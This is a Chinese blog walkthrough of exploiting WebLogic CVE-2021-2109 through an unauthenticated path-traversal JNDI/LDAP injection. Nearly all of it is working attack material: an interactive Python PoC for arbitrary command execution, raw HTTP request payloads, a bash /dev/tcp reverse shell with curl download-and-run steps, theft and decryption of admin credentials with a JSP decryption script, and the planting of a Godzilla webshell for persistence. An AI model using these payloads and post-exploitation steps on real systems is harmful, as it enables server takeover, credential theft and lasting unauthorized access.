Weblogic LDAP 远程代码执行漏洞 CVE-2021-2109

漏洞影响

WebLogic Server 10.3.6.0.0
WebLogic Server 12.1.3.0.0
WebLogic Server 12.2.1.3.0
WebLogic Server 12.2.1.4.0
WebLogic Server 14.1.1.0.0

漏洞复现

访问一下URL http://xxx.xxx.xxx.xxx:7001/console/css/%252e%252e%252f/consolejndi.portal
在这里插入图片描述

如果有此页面未授权可访问,且在影响范围内则可能出现漏洞
下载漏洞攻击需要的 LDAP启动脚本

https://github.com/feihong-cs/JNDIExploit/releases/tag/v.1.11 #下载地址
unzip JNDIExploit.v1.11.zip 
java -jar JNDIExploit.v1.11.jar -i xxx.xxx.xxx.xxx #启动

服务器启动,注意放行服务器端口,切jdk版本为低版本,我用到jdk8

java -jar JNDIExploit-v1.11.jar -i xxx.xxx.xxx.xxx (服务器地址)

在这里插入图片描述

然后配合 Weblogic未授权范围 命令执行

/console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer%22)

注意 ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho 这里 LDAP服务器地址第三个分隔符号为 ;
在这里插入图片描述

登录后台可使用此POC,未授权的话用上面的

/console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer%22)

漏洞利用POC

peiqi文库中的

import requests
import sys
import re
requests.packages.urllib3.disable_warnings()
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
    print('+------------------------------------------')
    print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')
    print('+  \033[34mGithub : https://github.com/PeiQi0                                 \033[0m')
    print('+  \033[34m公众号 : PeiQi文库                                                     \033[0m')
    print('+  \033[34mVersion: Weblogic 多个版本                                           \033[0m')
    print('+  \033[36m使用格式:  python3 poc.py                                            \033[0m')
    print('+  \033[36mUrl         >>> http://xxx.xxx.xxx.xxx                             \033[0m')
    print('+  \033[36mLDAP        >>> ldap://xxx.xxx.xxx;xxx:1389                         \033[0m')
    print('+------------------------------------------')

def POC_1(target_url, ldap_url, cmd):
    vuln_url = target_url + "/console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22{}/Basic/WeblogicEcho;AdminServer%22)".format(ldap_url)
    print('\033[36m[o] 正在请求: {}'.format(vuln_url))
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
        "cmd": cmd
    }
    try:
        response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
        if "root:" in response.text:
            print("\033[32m[o] 目标{}存在漏洞 \033[0m".format(target_url))
            print("\033[32m[o] 响应为:\n{} \033[0m".format(response.text))
        else:
            print("\033[31m[x] 命令执行失败 \033[0m")
            sys.exit(0)
    except Exception as e:
        print("\033[31m[x] 请检查参数和Ldap服务是否正确 \033[0m", e)

def POC_2(target_url, ldap_url, cmd):
    vuln_url = target_url + "/console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22{}/Basic/WeblogicEcho;AdminServer%22)".format(ldap_url)
    print('\033[36m[o] 正在请求: {}'.format(vuln_url))
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
        "cmd": cmd
    }
    try:
        response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
        print("\033[32m[o] 响应为:\n{} \033[0m".format(response))
    except Exception as e:
        print("\033[31m[x] 请检查参数和Ldap服务是否正确 \033[0m", e)

if __name__ == '__main__':
    title()
    target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
    ldap_url = str(input("\033[35mLdap >>> \033[0m"))
    POC_1(target_url, ldap_url, cmd="cat /etc/passwd")

    while True:
        cmd = input("\033[35mCmd >>> \033[0m")
        if cmd == "exit":
            sys.exit(0)
        else:
            POC_2(target_url, ldap_url, cmd)

在这里插入图片描述

深入系列一、反弹shell

第一步 准备shell

先写一个反弹shell的 sh在vps上
在这里插入图片描述

内容:

bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/8080 0>&1

然后开启监听

nc -lvnp 8080

在这里插入图片描述

接着开启一个http服务

python3 -m http.server 8000

第二步 把shell下载到被攻击机器上
curl -o /target/path/filename http://xxx.xxx.xxx.xxx.:8080/1.sh
或者
curl -L http://xxx.xxx.xxx.xxx:8080/1.sh -o /target/path/filename

在这里插入图片描述

请求包:

GET /console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
Host: 192.168.0.103:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
cmd:curl -o /u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/1.sh  http://xxx.xxx.xxx.xxx:8000/1.sh 
Cookie: ADMINCONSOLESESSION=eGtTalBHY2b2h6x6DfgCrJxbHuT0iMHoaHMslzKGh8mUYeqeRMlD!1764575979
Upgrade-Insecure-Requests: 1


在这里插入图片描述

第三步 反弹shell

进行bash反弹
在这里插入图片描述

GET /console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
Host: 192.168.0.103:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
cmd:bash /u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/1.sh 
Cookie: ADMINCONSOLESESSION=eGtTalBHY2b2h6x6DfgCrJxbHuT0iMHoaHMslzKGh8mUYeqeRMlD!1764575979
Upgrade-Insecure-Requests: 1


成功反弹到shell
在这里插入图片描述

深入系列二、通过下载SerializedSystemIni.da文件解密weblogic账号密码

第一步 找到账号密码和解密文件

账号密码位置:

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/security

在这里插入图片描述

SerializedSystemIni.dat文件位置

/u01/oracle/user_projects/domains/base_domain/security

在这里插入图片描述

第二步 找到web目录

war目录一般存在的位置

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war

在这里插入图片描述

将 SerializedSystemIni.dat 拷贝到 war目录
在这里插入图片描述

第三步 下载SerializedSystemIni.dat 并解密

访问 http://192.168.10.53:7001/bea_wls_internal/SerializedSystemIni.dat 将文件下载下来
在这里插入图片描述

使用解密工具解密
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

tips:如果AES加密后的密码为:{AES}Nu2LEjo0kxMEd4G5L9bYLE5wI5fztbgeRpFec9wsrcQ\= 破解时需要把后面的\给去掉,不然会执行报错。
这个坑…栽了两天,还是用另外一种方法的时候,发现我的错误

深入系列三、上传webshell

由于反弹的shell 不够持久,所以想上传个webshell

第一步 在自己服务器上上传一个马,并且开启下载

哥斯拉马
在这里插入图片描述

开启http服务
在这里插入图片描述

第二步 下载文件到被攻击者目录下

目录为

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war

在这里插入图片描述

打开http://192.168.10.53:7001/bea_wls_internal/shell.jsp 能成功解析说明存在

tips:如果不确定下载成功没,可以先在服务器上写一个 1.txt 内容随便写 比如:111。 然后下载到被攻击服务器的web目录上,访问看是否能显示内容

第四步 使用冰蝎连接

在这里插入图片描述

深入系列四、通过上传解密脚本进行解密(对深入系列二的补充)

第一步:查看weblogic的密文

在这里插入图片描述

第二步:编辑解密文件,并放在另外一台linux上,并开启http服务

下载地址:
Tools7-get_wls_pwd2

<%@page pageEncoding="utf-8"%>
<%@page import="weblogic.security.internal.*,weblogic.security.internal.encryption.*"%>
<%
   EncryptionService es = null;
   ClearOrEncryptedService ces = null;
    String s = null;
    s="{AES}jZaFirdpzkH727wJt82Xc0QtuHsEuMsvyqcLkjRz/vY=";
    es = SerializedSystemIni.getEncryptionService();
    if (es == null) {
       out.println("Unable to initialize encryption service");
        return;
    }
    ces = new ClearOrEncryptedService(es);
    if (s != null) {
        out.println("\nDecrypted Password is:" + ces.decrypt(s));
    }
%>

第三步:通过curl下载到被攻击机器的web目录下
curl -o /target/webpath/filename http://xxx.xxx.xxx.xxx.:8080/1.sh

在这里插入图片描述

在这里插入图片描述

第四步:访问url查看密码

在这里插入图片描述

成功登录
在这里插入图片描述

思考&小总结

这个漏洞研究了两三天,前期反弹shell挺顺利的,但是遇到其他问题了。

  1. 深入系列二中,尝试解密weblogic账号密码出了问题,有的环境会因为SerializedSystemIni.dat文件为二进制文件,直接使用浏览器下载可能遭到破坏(但是我也尝试tar打包下载出来,但是文件也出问题了),所以我在深入系列四中换了另外一种思路进行解密。
  2. 碰到的实战中把SerializedSystemIni.dat文件和下载马子到web目录后,通过web无法访问到,这样的话深入系列四也无法进行。因此当web目录无法访问的时候,想要解密console的密码或者拿到webshell 就比较难了。 等后续有时间了会继续摸索其他方法,尝试获取到webshell(因为反弹的shell不持久…)

参考文章

http://wiki.peiqi.tech/PeiQi_Wiki/Web%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%BC%8F%E6%B4%9E/Weblogic/Weblogic%20LDAP%20%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%20CVE-2021-2109.html?h=cve-2021-2109
https://www.freebuf.com/articles/web/220147.html
https://mp.weixin.qq.com/s/fhf86-FCic2qAkcThvabeQ

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值